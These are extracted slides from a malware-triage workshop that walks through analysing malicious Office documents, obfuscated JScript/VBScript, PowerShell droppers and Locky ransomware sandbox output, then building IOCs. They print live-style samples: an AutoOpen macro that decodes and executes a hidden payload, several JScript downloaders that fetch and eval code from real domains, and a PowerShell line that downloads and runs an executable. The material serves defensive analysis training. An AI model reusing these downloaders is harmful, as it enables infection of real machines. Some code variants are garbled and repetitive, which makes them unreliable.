Malware Triage!
Malscripts Are The New Exploit Kit
Hello, My Name is:

Sergei Frankoff
@herrcore

Sean Wilson
@seanmw
WARNING!

We use **real** malware and **real** exploits in the workshops. These have been specifically designed to NOT harm your workstation even if you make a mistake.

However, your Anti-Virus and your employer probably don’t know the difference. Use your own judgement.
Using a Virtual Machine is Recommended!

What’s the matter, Oracle got you pushing too many pencils?
Tools You Will Need

**Notepad**
We recommend Notepad++ or Sublime.

**Web Browser**
We strongly recommend Chrome (you will need the debugger tools).

**Python**
Most of the local tools we will use are written in Python.

**Internet**
Many of the tools we will use are online and require a good Internet connection.
OPSEC Warning!

By using online tools you will be sharing data with an unknown third party and in some cases with the entire internet.
Malware?

01101101 01100001 01101100 01110111 01100001 01110010 01100101 00100000

Malware is just code!

01101001 01110011 00100000 01100011 01101111 01100100 01100101 00100000

01101001 01110011 00100000 01100011 01101111 01100100 01100101 00100000
Malscript?

A malscript is just a script.
Malware Analysis Triage

Is it malicious?

What is the delivery targeting?

Do we have exposure?

Suspicious URL

Suspicious E-mail

Security Event

Intel feed
Effective Triage

Triage is effective when malware has been detected in the delivery phase.

Quick way to answer “Do I have exposure?” “If yes, then what next?”

(Lockheed Martin’s Intrusion Kill Chain)
Triage Workflow

1. Container analysis and extraction
2. Malscript analysis
3. Payload identification and download
4. Payload analysis
5. Build IOCs
We are definitely going to take all your money if you don’t open the attached tax returns and fix your mistakes!

Sincerely,

The IRS (or CRA if you live in Canada)
Containers
Document Metadata
Identify Execution Vector
Containers Documents
# Document Types

<table>
<thead>
<tr>
<th>Type</th>
<th>Extensions</th>
<th>Magic Bytes</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>OLE Container</strong></td>
<td>.doc</td>
<td>D0 CF 11 E0 A1 B1 1A E1</td>
</tr>
<tr>
<td>Word (old format)</td>
<td>.ppt</td>
<td>7B 5C 72 74 66 31 {rtf1}</td>
</tr>
<tr>
<td>PowerPoint (old format)</td>
<td>.xls</td>
<td></td>
</tr>
<tr>
<td>Excel (old format)</td>
<td>.rtf</td>
<td></td>
</tr>
<tr>
<td>Rich Text Format (RTF)</td>
<td></td>
<td></td>
</tr>
<tr>
<td><strong>ZIP</strong></td>
<td>.docm</td>
<td>50 4B 03 04 PK</td>
</tr>
<tr>
<td>Word (new format)</td>
<td>.docx</td>
<td></td>
</tr>
<tr>
<td>PowerPoint (new format)</td>
<td>.pptx</td>
<td></td>
</tr>
<tr>
<td>Excel (new format)</td>
<td>.xlsm</td>
<td></td>
</tr>
<tr>
<td></td>
<td>.xlsx</td>
<td></td>
</tr>
<tr>
<td><strong>PDF</strong></td>
<td>.pdf</td>
<td>25 50 44 46 %PDF</td>
</tr>
</tbody>
</table>
This document is protected

Preview is not available with Protected Documents.

To view the protected content use the secure viewer linked below

Secure Viewer

Click on the icon to the right to view the secure content.

Secure Viewer 1.0.3 (Secure Viewer 1.0.3.js)
Documents: Legacy Compound File Binary Format

- **MetaData**
  - Storage: root
  - Streams: Summary Streams

- **Macros**
  - Storage: Macros
  - Files: /Macros/*

- **Embedded Objects**
  - Storage: ObjectPool
  - Streams: - ole*
sh-3.2$ olevba -a --code evil.doc
olevba 0.51 - http://decalage.info/python/oletools
Flags Filename
-------------------
OLE:MS-H--- evil.doc

FILE: evil.doc
Type: OLE

VBA MACRO ThisDocument.cls
in file: evil.doc - OLE stream: u'Macros/VBA/ThisDocument'

(Empty macro)

VBA MACRO UserForm1.frm
in file: evil.doc - OLE stream: u'Macros/VBA/UserForm1'

Private Sub UserForm_Click()
End Sub

Private Sub UserForm_Initialize()
  x = MsgBox("This is just a test.", 0, "Hello")
End Sub

VBA MACRO Module1.bas
in file: evil.doc - OLE stream: u'Macros/VBA/Module1'

Sub Test()
  x = MsgBox("This is just a test.", 0, "Hello")
End Sub
### OLE Streams

- Root Entry
- \\x01CompObj
- \\x05DocumentSummaryInformation
- \\x05SummaryInformation
- 1Table
- Macros/PROJECT
- Macros/PROJECTwm
- Macros/UserForm1/\\x01CompObj
- Macros/UserForm1/\\x03VBFrame
- Macros/UserForm1/f
- Macros/UserForm1/o
- Macros/VBA/Module1
- Macros/VBA/ThisDocument
- Macros/VBA/UserForm1
- Macros/VBA/VBA_PROJECT
Macros and VBA code streams

[+] UserForm1.frm  Macros/VBA/UserForm1 127 bytes

Private Sub UserForm_Click()

End Sub

Private Sub UserForm_Initialize()
  x = MsgBox("This is just a test.", 0, "Hello")
End Sub

[+] Module1.bas  Macros/VBA/Module1 65 bytes
Documents: RTF

- **Human Readable**
  Text document with markup syntax

- **Exploits**
  Multiple 1-day exploits

- **Embedded Objects**
  Storage: ObjectPool
  Streams: - ole*
[author asxos][operator asxos]
```
$ rtfobj invoice-1345194.doc
rtfobj 0.51 - http://decalage.info/python/oletools
THIS IS WORK IN PROGRESS - Check updates regularly!
Please report any issue at https://github.com/decalage2/oletools/issues

---

File: 'invoice-1345194.doc' - size: 884377 bytes

<table>
<thead>
<tr>
<th>id</th>
<th>index</th>
<th>IOLE Object</th>
<th>IOLE Package</th>
</tr>
</thead>
<tbody>
<tr>
<td>0</td>
<td>1000CC168h</td>
<td>format_id: 2 (Embedded)</td>
<td>Filename: 'secureviewer.js'</td>
</tr>
<tr>
<td></td>
<td></td>
<td>class name: 'Package'</td>
<td>Source path: 'C:\secureviewer'</td>
</tr>
<tr>
<td></td>
<td></td>
<td>data size: 1401</td>
<td>\secureviewer.js'</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>Temp path = 'C:\Users\dnbd\</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>\AppData\Local\Temp\secureviewe</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>l\wer.js'</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>EXECUTABLE FILE</td>
</tr>
</tbody>
</table>
```
```
$ rtfobj -s 0 invoice-1345194.doc
rtfobj 0.51 - http://decalage.info/python/oletools
THIS IS WORK IN PROGRESS - Check updates regularly!
Please report any issue at https://github.com/decalage2/oletools/issues

<table>
<thead>
<tr>
<th>id</th>
<th>Index</th>
<th>OLE Object</th>
<th>OLE Package</th>
</tr>
</thead>
<tbody>
<tr>
<td>0</td>
<td>0000CC168</td>
<td>format_id: 2 (Embedded)</td>
<td>Filename: 'secureviewer.js'</td>
</tr>
<tr>
<td></td>
<td></td>
<td>class name: 'Package'</td>
<td>Source path: 'C:\secureviewer\secureviewer.js'</td>
</tr>
<tr>
<td></td>
<td></td>
<td>data size: 1401</td>
<td>Temp path = 'C:\Users\dnbdd\AppData\Local\Temp\secureviewer.js'</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>savina to file invoice-1345194.doc secureviewer.js</td>
</tr>
</tbody>
</table>
```
Documents: OOXML

**MetaData**
Path: docProps
Files: Core.xml & App.xml Files

**Macros**
Path: App Specific i.e.: word, xl, ppt
Files: VBAProject.bin & VBADATA.bin files

**Embedded Objects**
Path: ~/embeddings/
Files: - OLEObject{n}.bin
sh-3.2$ olevba --code word/vbaProject.bin
olevba 0.51 - http://decalage.info/python/oletools
Flags Filename
--- --------------------------
OLE:MASH8-- word/vbaProject.bin
--- --------------------------
FILE: word/vbaProject.bin
Type: OLE
--- --------------------------
VBA MACRO ThisDocument.cls
in file: word/vbaProject.bin - OLE stream: u'VBA/ThisDocument'
--- --------------------------
(empty macro)
--- --------------------------
VBA MACRO NewMacros.bas
in file: word/vbaProject.bin - OLE stream: u'VBA/NewMacros'
--- --------------------------
Public Declare PtrSafe Function system Lib "libc.dylib" (ByVal command As String) As Long

Sub AutoOpen()
    On Error Resume Next
    Dim found_value As String

    For Each prop In ActiveDocument.BuiltInDocumentProperties
        If prop.Name = "Comments" Then
            found_value = Mid(prop.Value, 56)
            orig_val = Base64Decode(found_value)
            If Mac Then
                ExecuteForOSX (orig_val)
            Else
                ExecuteForWindows (orig_val)
            End If
            Exit For
        End If
    Next
End Sub
Documents: Code Execution

**Macros**
- Requires User to enable
- Relies on triggered events (Document_Open, Document_Close)
- Presence of vbaProject.bin or Macros stream (legacy)

**Embedded Object**
- Requires User to Activate the object (Click)
- Relies on default event handler to launch embedded object
- Contains an embedded OLE Packager Object

**PowerPoint CustomActions**
- Requires User to Open Slideshow
- Uses Custom Action to activate Embedded Object
- Contains an embedded OLE Packager Object

**Exploit**
- Requires User to Open Document
- Relies on unpatched vulnerabilities (CVE-2012-0158)
- Contains shellcode / malformed markup / decoy document
DO IT LIVE!
Make sure you have the following tools:

- OleTools
- Notepad

Exercise Steps

- Identify the document type
- Identify the execution vector (exploit, macro, embedded object, etc)
- Extract executed code

*Bonus

- Use metadata and OSINT tools to identify related variants

15 MINUTES
WScript Analysis
(Javascript and VBScript)

Obfuscation
Anti-Analysis
Identify Entry Point
## Common Script Types

<table>
<thead>
<tr>
<th>Type</th>
<th>Extensions</th>
<th>Default Handlers</th>
</tr>
</thead>
<tbody>
<tr>
<td>Javascript</td>
<td>.js</td>
<td>WScript.exe or CScript.exe</td>
</tr>
<tr>
<td>VBScript</td>
<td>.vbs</td>
<td>WScript.exe or CScript.exe</td>
</tr>
<tr>
<td>WScript</td>
<td>.wsc</td>
<td>notepad.exe</td>
</tr>
</tbody>
</table>
OS Interaction: ActiveX

VBS

CreateObject(…)

ActiveX

ActiveXObject(…)

Open(…)

Send(…)

Run(…)

ShellExecute(…)

JS
Script Based Sandbox

Evasion

Environment
- Number of Running Processes
- User Name
- Recent Files
- Program Files List
- ...

Network
- ASN Details
- Source IP
- Ping as time delay

Anti-Analysis
- Specific functionality OO vs Microsoft Office Objects
- Obfuscated payloads
- Payload launch Arguments
```
var rups = "ptth".split('').reverse().join('') + "://;

function funu(fau1, fau2) {
    return fau1.join(fau2);
}

function mhtor(kjg, lk1) {
    return kjg.split(lk1);
}

function abara(beersa) {
    beersa.send();
}

function greezen() {
    return 'COUNGATER'.replace(/OA/g, "");
}

function huts(rasp) {
    eval(rasp);
}

var noben = "N";
var tukgs = noben + "SK" + noben + "L";
var immob = l + 1;
```
function foo(a, b) {
    return a - b + c;
}

function bar(a, b) {
    return a * b;
}

function baz() {
    return 'foo';
}

function qux() {
    return 'bar';
}

function quux() {
    return 'baz';
}

function qux() {
    return 'qux';
}

function qux() {
    return 'qux';
}

function qux() {
    return 'qux';
}

function qux() {
    return 'qux';
}

function qux() {
    return 'qux';
}

function qux() {
    return 'qux';
}

function qux() {
    return 'qux';
}

function qux() {
    return 'qux';
}

function qux() {
    return 'qux';
}

function qux() {
    return 'qux';
}

function qux() {
    return 'qux';
}

function qux() {
    return 'qux';
}

function qux() {
    return 'qux';
}

function qux() {
    return 'qux';
}

function qux() {
    return 'qux';
}

function qux() {
    return 'qux';
}

function qux() {
    return 'qux';
}

function qux() {
    return 'qux';
}

function qux() {
    return 'qux';
}

function qux() {
    return 'qux';
}

function qux() {
    return 'qux';
}

function qux() {
    return 'qux';
}

function qux() {
    return 'qux';
}

function qux() {
    return 'qux';
}

function qux() {
    return 'qux';
}

function qux() {
    return 'qux';
}

function qux() {
    return 'qux';
}

function qux() {
    return 'qux';
}

function qux() {
    return 'qux';
}

function qux() {
    return 'qux';
}

function qux() {
    return 'qux';
}

function qux() {
    return 'qux';
}

function qux() {
    return 'qux';
}

function qux() {
    return 'qux';
}

function qux() {
    return 'qux';
}

function qux() {
    return 'qux';
}

function qux() {
    return 'qux';
}

function qux() {
    return 'qux';
}

function qux() {
function greezno() {
    return 'COUNER'.replace(/OA/g, "");
}

function hast(rasp) {
    eval(rasp);
}

var noben = "M";
var tuks = noben + "X" + noben + "l";
var immob = 1 + 1;
var gg = "F" + "p";
var fik = tuks + immob + ".XMLHT" + "TP";
var ofs = CreateObject(fik);
var bcb = new Array("GET");
var x = ["www.f6photo.com", "merchantfeesforcreditcards.com", "B00lie.com", "wp.mainebuyswependsell.com"];" + 30
var jik = 0;
while (true) {
    if (jik >= x.length) {
        break;
    }
    try {
        var zemk = '0664641CA191C53FCDL7M0Zqo3jdvMs8j1vHm2PMVKLM8EdpJVS59q8UrfTwhtwbs6rYY4-KVF6fAfAlaPSxekc_gf75Sj0CR8-fPAPMCDwpra6QwqoQ
        var ghyt = false;
        var genik = x[jik];
        ofs.open(bcb[0], rups() + genik + '/' + greezno() + '?' + zemk, ghyt);
        abataf(dfs);
        var gt = ofs.responseText;
        var miffka = gt.indexOf(zemk);
        var pista = gt.length;
        if (pista > 0 && 2 == 2 && miffka + 1 > 0) {
            hast(gt);
            break;
        }
    } catch (e) {};
    jik++;
}
function greezno() {
    return 'COUNATER'.replace(/\b/g, "*" );
}

function hbst(rasp) {
    eval(rasp);
}

var noben = "M";
var tuks = noben + "x" + noben + "l";
var immob = 1 + 1;
var ge = "T" + "p";
var fijs = tuks = immob + ".XMLHT" + "TP";
var of = CreateObject(fijs);
var bhcb = new Array("GET");
var x = ["www.e6photo.com", "merchantfeesforcreditcards.com", "B80lie.com", "wp.mainbuysweponsell.com"];
var jik = 0;
while (true) {
    if (jik >= x.length) {
        break;
    }
    try {
        var zemc = "000001MAiQC5SFCDS7Nozq7j4vhs6s8j1v4H8PMkLW8EdpJQSjS8qBUTfBTWb65rYY4-kWvG6fFaAlp58Xw9c_gF75JeRC88FPARMCODWra6Qvrq1f";
        var ghdy = false;
        var genTk = x[jik];
        of.open(bhcb[0], "rups() + genTk + '/' + greezno() + '?' + zemc, ghdy);
        abatae(of);
        var gt = of.responseText;
        var miffka = gt.indexOf(zemc);
        var pista = gt.length;
        if (pista > 0 && 2 == 2 && miffka + 1 > 0) {
            hbst(gt);
            break;
        }
    } catch (e) {};
    jik++;
}
function greezno() {
    return 'COUNZER'.replace(/OA/s, "");
}

function hust(rasp) {
    eval(rasp);
}

var noben = "M";
var tuksg = noben + "X" + noben + "T";
var inmob = 1 + 1;
var e6 = "T" + "P";
var fijks = tuksg + inmob + ".XMLHT" + "TP";
var df = CreateObject(fijks);
var bcb = new Array("GET");
var x = ["www.e6photo.com", "merchantfeesforcreditcards.com", ".B90lie.com", "wp.mainebuyswepandsell.com"];
var jik = 0;
while (true) {
    if (jik >= x.length) {
        break;
    }
    try {
        var zemk = '0000001Aliq1C5FCDL7Nozhq3dVW8s1jW4HHpMVkLW88EdpjQ5u5q8U5fctW6b6rYY4-wwFV6ffeA1aPSXz9c_kf7J66C8-FPA8MC06Wra6Qwrqg';
        var ghyt = false;
        var renl = x[jik];
        df.open(bcb[0], "Fup", 0);
        renl = ghyt + '/' + greezno() + '/' + zemk, ghyt;
        abatea(df);
        var gt = df.responseText;
        var mifka = gt.indexOf(zemk);
        var pista = gt.length;
        if (pista > 0 && 2 != 2 && mifka + 1 > 0) {
            hust(gt);
            break;
        }
    } catch (e) {};
    jik++;
}
function greenno() {
    return 'COUDN\'DATE'.replace(/\©/g, '').n
}
var x = ['www.e5photo.com', 'merchantfeesforcreditcards.com', '808lie.com', 'wp.mainebuyswapandsell.com']
var jlk = 0;

try {
    var zemk = '8000001MA1qTC5cCDL79kx2379Wx89jvHtHPmvk1868dp3Q59q3UtFbTM6Gb1Y4-KwV6ffeA3jPSXe9c_g75336ICBFPA8P3MAw6aQwqQyQ00';
    var ghyc = false;
    var gerkk = x[jlk];
    dfs.open(bcbf[1], rups()) + gerkk + '/' + greenno() + '/' + zemk, ghyc);
    abate(dfs);
    var gt = dfs.responseText;
    var miffka = gt.indexOf(zemk);
    var plata = gt.length;
    if (plata > 0 && 2 == 2 && miffka + 1 > 0) {
        hurt(gt);
        break;
    }
}
catch(e) {}
DO IT LIVE!
Make sure you have the following tools:
- Chrome or IE with debugger console
- Notepad

Exercise Steps
- Identify the script type
- Identify the obfuscation functions and deobfuscate
- Identify the anti-analysis techniques
- Identify and download the payload (how is this executed)
PowerShell Analysis

Execution
Obfuscation
Anti-Analysis
(new-object system.net.webclient).downloadfile http://hwin.com.cn/ims/1x7s9c.jpg, 'docview.exe';
start-process -filepath 'docview.exe'
DO IT LIVE!
Make sure you have the following tools:
  • Python PS decode script
  • Notepad

Exercise Steps
  • Identify the obfuscation functions and deobfuscate
  • Identify the anti-analysis techniques
  • Identify and download the payload (how is this executed)

*Bonus
  • Gather as much information from the C2 server as possible

20 MINUTES
Payload Analysis

Virus Total
Malwr / Hybrid Analysis
<table>
<thead>
<tr>
<th>Antivirus</th>
<th>Result</th>
<th>Update</th>
</tr>
</thead>
<tbody>
<tr>
<td>ALYac</td>
<td>Trojan.GenericKD.3050521</td>
<td>20160425</td>
</tr>
<tr>
<td>AVG</td>
<td>Crypt5.AJFR</td>
<td>20160425</td>
</tr>
<tr>
<td>AVware</td>
<td>Win32.MalwareDrop</td>
<td>20160425</td>
</tr>
<tr>
<td>Ad-Aware</td>
<td>Trojan.GenericKD.3050521</td>
<td>20160425</td>
</tr>
<tr>
<td>AhnLab-V3</td>
<td>Trojan/Win32.Locky</td>
<td>20160425</td>
</tr>
<tr>
<td>SHA256:</td>
<td>7d69f3934be22a9bdcf0e20059d6c0a851218abe9a07b83795c54e696be6142</td>
<td></td>
</tr>
<tr>
<td>--------------</td>
<td>---------------------------------------------------------------</td>
<td></td>
</tr>
<tr>
<td>File name:</td>
<td>7d69f3934be22a9b_sys1.tmp</td>
<td></td>
</tr>
<tr>
<td>Detection ratio:</td>
<td>48 / 56</td>
<td></td>
</tr>
<tr>
<td>Analysis date:</td>
<td>2016-04-25 07:59:50 UTC (1 day, 16 hours ago)</td>
<td></td>
</tr>
</tbody>
</table>

**Locky Ransomware**

Posted 2 months, 1 week ago by **siri**

#locky ransomware
dl from:
http://nauticol.es/2/26f3f2210.exe
### FileVersionInfo properties

<table>
<thead>
<tr>
<th>Property</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>Copyright</td>
<td>Copyright © Info-ZIP 1997 - 2006</td>
</tr>
<tr>
<td>Product</td>
<td>Zip</td>
</tr>
<tr>
<td>Original name</td>
<td>m1c2.dll</td>
</tr>
<tr>
<td>Internal name</td>
<td>l2z</td>
</tr>
<tr>
<td>File version</td>
<td>5.2</td>
</tr>
<tr>
<td>Description</td>
<td>Info-2j 2lj for 1name 2qjole</td>
</tr>
</tbody>
</table>

### PE header basic information

<table>
<thead>
<tr>
<th>Property</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>Target machine</td>
<td>Intel 386 or later processors and compatible processors</td>
</tr>
<tr>
<td>Compilation timestamp</td>
<td>2016-02-16 11:05:15</td>
</tr>
<tr>
<td>Entry Point</td>
<td>0x00006AA3</td>
</tr>
<tr>
<td>Number of sections</td>
<td>5</td>
</tr>
</tbody>
</table>

### PE sections

<table>
<thead>
<tr>
<th>Name</th>
<th>Virtual address</th>
<th>Virtual size</th>
<th>Raw size</th>
<th>Entropy</th>
<th>MD5</th>
</tr>
</thead>
<tbody>
<tr>
<td>.text</td>
<td>4096</td>
<td>60230</td>
<td>60416</td>
<td>7.31</td>
<td>150dc9b152ceac2cb1b48004e01980fd</td>
</tr>
<tr>
<td>.rdata</td>
<td>65536</td>
<td>18660</td>
<td>18944</td>
<td>7.09</td>
<td>3278f53afffe17db492238129677cb63</td>
</tr>
<tr>
<td>.data</td>
<td>86016</td>
<td>8344</td>
<td>4096</td>
<td>7.08</td>
<td>c6af0a1fcd50926e41a99edf491666e</td>
</tr>
<tr>
<td>.rsrc</td>
<td>98304</td>
<td>51768</td>
<td>52224</td>
<td>6.85</td>
<td>32fc2c74bac77bf7a18d7b272da9a43</td>
</tr>
</tbody>
</table>
**VirusTotal metadata**

<table>
<thead>
<tr>
<th><strong>First submission</strong></th>
<th>2016-02-17 08:18:18 UTC (2 months, 1 week ago)</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Last submission</strong></td>
<td>2016-04-25 07:59:50 UTC (1 day, 16 hours ago)</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th><strong>File names</strong></th>
</tr>
</thead>
<tbody>
<tr>
<td>yFUylsf.exe.1284.cr</td>
</tr>
<tr>
<td>svchost.exe</td>
</tr>
<tr>
<td>yFUylsf.exe</td>
</tr>
<tr>
<td>b39091b1ae870525b7c26e4c8b4658af.exe</td>
</tr>
<tr>
<td>yFUylsf.exe</td>
</tr>
<tr>
<td>!2z</td>
</tr>
<tr>
<td>4_b8fd5c5.exe</td>
</tr>
<tr>
<td>svchost.exe</td>
</tr>
<tr>
<td>yFUylsf.exe.2528.cr</td>
</tr>
<tr>
<td>4_b8fd5c5.exe</td>
</tr>
<tr>
<td>svchost.exe</td>
</tr>
<tr>
<td>7d69f3934be22a9b_sys1.tmp</td>
</tr>
<tr>
<td>yFUylsf.exe.3468.cr</td>
</tr>
<tr>
<td>m1c2.dll</td>
</tr>
<tr>
<td>4_b8fd5c5.exe</td>
</tr>
<tr>
<td>pe_b39091b1ae870525b7c26e4c8b4658af_0929bffb19771c253ea7f8f3f7d6f1e98804e2845_7d69f3934</td>
</tr>
<tr>
<td>be22a9bdcf0e20059d6c0a8512b18abe9aa07b83795c54e696be6142.exe</td>
</tr>
</tbody>
</table>

**Advanced heuristic and reputation engines**

| **F-Secure Deepguard** | Suspicious:W32/MalwareOnline |
Sandbox Magic

Sandbox
Process Monitor

PE Runtime

Windows API

Network
Filesystem
Registry
Process
Services
Synchronization
###行为分析
- windows
- threading
- network
- services
- socket
- synchronization
- misc
- device
- filesystem
- system
- process
- registry

- X-axis by: **event**
- Y-axis by: **category**

<table>
<thead>
<tr>
<th>4_b09fd5c5.exe 1592</th>
</tr>
</thead>
<tbody>
<tr>
<td>vssadmin.exe 788</td>
</tr>
<tr>
<td>NOTEPAD.EXE 252</td>
</tr>
<tr>
<td>rundll32.exe 276</td>
</tr>
<tr>
<td>cmd.exe 1580</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>4_b09fd5c5.exe</th>
</tr>
</thead>
<tbody>
<tr>
<td>vssadmin.exe</td>
</tr>
<tr>
<td>NOTEPAD.EXE</td>
</tr>
<tr>
<td>rundll32.exe</td>
</tr>
<tr>
<td>cmd.exe</td>
</tr>
</tbody>
</table>
!!! IMPORTANT INFORMATION !!!

All of your files are encrypted with RSA-2048 and AES-128 ciphers. More information about the RSA and AES can be found here: http://en.wikipedia.org/wiki/RSA_(cryptosystem) http://en.wikipedia.org/w

!!! Your personal identification ID: 32C00863E1644D0A !!!

!!! Your personal identification ID: 32C00863E1644D0A !!!!!! IMPORTANT INFORMATION !!!

!!!

!!!!

This program cannot be run in DOS mode.$

%USERPROFILE%\Desktop\_Locky_recover_instructions.txt

-%08d

"C:del /Q /F "%TEMP%\ex-B745.tmp"
<table>
<thead>
<tr>
<th>Date</th>
<th>Event</th>
<th>Details</th>
<th>Status</th>
<th>Return Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>2016-02-16 15:54:39,213</td>
<td>NtCreateMutant</td>
<td>Handle: 0x00000000d8, InitialOwner: 0, MutexName: CTF_TimListCache_FMDefaultS-1-5-21-1547161642-507921405-839522115-1004_MUTEX_DefaultS-1-5-21-1547161642-507921405-839522115-1004</td>
<td>success</td>
<td>0x40000000</td>
</tr>
<tr>
<td>2016-02-16 15:54:39,213</td>
<td>NtOpenSection</td>
<td>DesiredAccess: 0x00000001f, ObjectAttributes: C:\ntdll, SectionHandle: 0x0000000dc</td>
<td>success</td>
<td>0x00000000</td>
</tr>
<tr>
<td>2016-02-16 15:54:39,213</td>
<td>ZwMapViewOfSection</td>
<td>SectionOffset: 0x0007f3b0, SectionHandle: 0x0000000dc, ProcessHandle: 0x66666666</td>
<td>success</td>
<td>0x00000000</td>
</tr>
<tr>
<td>Date</td>
<td>Event</td>
<td>Information</td>
<td></td>
<td></td>
</tr>
<tr>
<td>------------</td>
<td>--------------</td>
<td>-----------------------------------------------------------------------------</td>
<td></td>
<td></td>
</tr>
<tr>
<td>2016-02-16</td>
<td>NTCreateFile</td>
<td>ShareAccess: 0 File Name: C:\Documents and Settings\User\Desktop_Locky_recover_instructions\txt DesiredAccess: 0x40100000 CreateDisposition: 5 FileHandle: 0x000001a4</td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
| 2016-02-16 | NTWriteFile  | Buffer: \\
<p>|            |              | \xef\xbb\xbf !!! IMPORTANT INFORMATION !!! All of your files are encrypted with RSA-2048 and AES-128 ciphers. More information about the RSA and AES can be found here: <a href="http://en.wikipedia.org/wiki/RSA">http://en.wikipedia.org/wiki/RSA</a> | success 0x00000000 |</p>
<table>
<thead>
<tr>
<th>Date</th>
<th>Operation</th>
<th>Handle:</th>
<th>Access:</th>
<th>Registry:</th>
<th>Class:</th>
<th>SubKey:</th>
<th>Status</th>
<th>DataLength:</th>
<th>ValueName:</th>
<th>Type:</th>
</tr>
</thead>
<tbody>
<tr>
<td>2016-02-16</td>
<td>RegCreateKeyExA</td>
<td>0x000000b8</td>
<td>131103</td>
<td>0x80000001</td>
<td></td>
<td>Software\Lucky</td>
<td>success</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>2016-02-16</td>
<td>RegQueryValueExA</td>
<td>0x000000b8</td>
<td></td>
<td>3072</td>
<td>3072</td>
<td>id</td>
<td>failed</td>
<td></td>
<td></td>
<td>184</td>
</tr>
<tr>
<td>2016-02-16</td>
<td>RegQueryValueExA</td>
<td>0x000000b8</td>
<td></td>
<td>3072</td>
<td>3072</td>
<td>pubkey</td>
<td>failed</td>
<td></td>
<td></td>
<td>184</td>
</tr>
<tr>
<td>2016-02-16</td>
<td>RegQueryValueExA</td>
<td>0x000000b8</td>
<td></td>
<td>3072</td>
<td>3072</td>
<td>paytext</td>
<td>failed</td>
<td></td>
<td></td>
<td>184</td>
</tr>
</tbody>
</table>
### HTTP Requests

<table>
<thead>
<tr>
<th>URI</th>
<th>DATA</th>
</tr>
</thead>
</table>
Host: 109.234.38.35  
Connection: Keep-Alive  
Cache-Control: no-cache |
Host: 109.234.38.35  
Content-Length: 95  
Connection: Keep-Alive  
Cache-Control: no-cache |
Host: 109.234.38.35  
Content-Length: 55  
Connection: Keep-Alive  
Cache-Control: no-cache |
Make sure you have the following tools:

• https://www.virustotal.com/
  https://malwr.com/
• https://www.hybrid-analysis.com/

Exercise Steps

• Upload the payload to VirusTotal. Has it been identified?
• Upload the payload to Malwr or Hybrid Analysis
• Review the following from the sandbox analysis;
  • Mutex created
  • Registry keys created
  • Network traffic
• What is the purpose of the malware?

*Bonus

• Identify a design flaw in the malware that can be used to gather more information from the C2

20 MINUTES
Build IOCs

- Identify Pivots
- Search for variants
- Comparative analysis
- Build IOC
IOC Formats

VS.

OpenIOC
An Open Framework for Sharing Threat Intelligence
Sophisticated Threats Require Sophisticated Indicators

VS.

Yara
The pattern matching swiss knife for malware researchers (and everyone else)

We Don't Teach Formats!
The Key is Comparative Analysis

Pivot
(Attribute)

Sample #1

Sample #2
Static Attributes

- EXIF Data
- Compiler Artifacts
- Library and API Imports
- Strings
- Easily Modified or Packed
- Sample Discovery

Can work as primary indicators
Can make poor indicators
Dynamic Attributes

- In-Memory Strings
- Process Handles
- Mutex
- Access / Created Files
- Registry Keys
- Network Traffic

Comparative analysis yields more robust IOCs
Rough Notes Are OK

VS.

OneNote

EVERNOTE

yara

OpenIOC
Mining OSINT

- PassiveTotal
- Open Threat Exchange
- YaraRules...
- VirusShare.com
- #totalhash
- Malwr
- ThreatMiner
- Payload Security
- ThreatConnect
- IOC Bucket
Mining Open Data With OAPivot

OAPivot enables indicator searching across the leading public malware intelligence feeds and tools. Use our Google Chrome plugin to instantly enrich indicators directly from your browser. OA Pivot enables indicator searching across the leading public malware intelligence feeds and tools. Simply right-click on any term you want to enrich and select the service you want to search. If you have a VirusTotal Intelligence account or a VirusShare account, OA Pivot will also enable one-click downloads based on the sample hash.

Contacted Countries

Users of this extension have also used:

Developer
Acquiring Samples

VirusShare

malwr

PAYLOAD SECURITY

Malshare

virus total intelligence
# Comparison Checklist

<table>
<thead>
<tr>
<th></th>
<th>Initial Sample</th>
<th>Pivot Sample A</th>
<th>Pivot Sample B</th>
</tr>
</thead>
<tbody>
<tr>
<td>Strings</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Exif Data</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Imphash</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Memory Strings</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Mutex</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>File Names</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Registry Keys</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Network Traffic</td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
Storing | Consuming | Sharing
MISP

UI USERS

MISP
Threat Sharing

Database

API USERS

API

MISP XML and JSON
OpenIOC
STIX XML and JSON (export)
Suricata export
Snort export
CSV export
GFI Import
DO IT LIVE!
Make sure you have the following tools:

- https://www.virustotal.com/
  https://malwr.com/ (you will need an account to download samples)
- https://www.hybrid-analysis.com/ (you will need an account to download samples)

Exercise Steps

- Using the primary indicators you found from the sandbox run search for related samples.
  *Hint: try OAPivot for access to multiple malware search APIs
- Once you have identified related samples run them in a sandbox and build a checklist of common attributes
- Which attributes do you think would make a good IOC?

*Bonus
- Build a Yara rule and ask the instructors to test it against a *new* variant of the malware
Thank you and remember...

Upload samples.
Leave comments.
Join a trust group.
Blog your analysis.

Close the feedback loop
Image Attribution

- Email designed by Henrique Sales from the Noun Project
- Browser designed by Kwesi Phillips from the Noun Project
- Handshake designed by DEADTYPE from the Noun Project
- Gears designed by Rebecca Walthal from the Noun Project
- Magnifying Glass designed by Edward Boatman from the Noun Project
- Warning designed by Melissa Holterman from the Noun Project
- Plus designed by Alex S. Lakas from the Noun Project
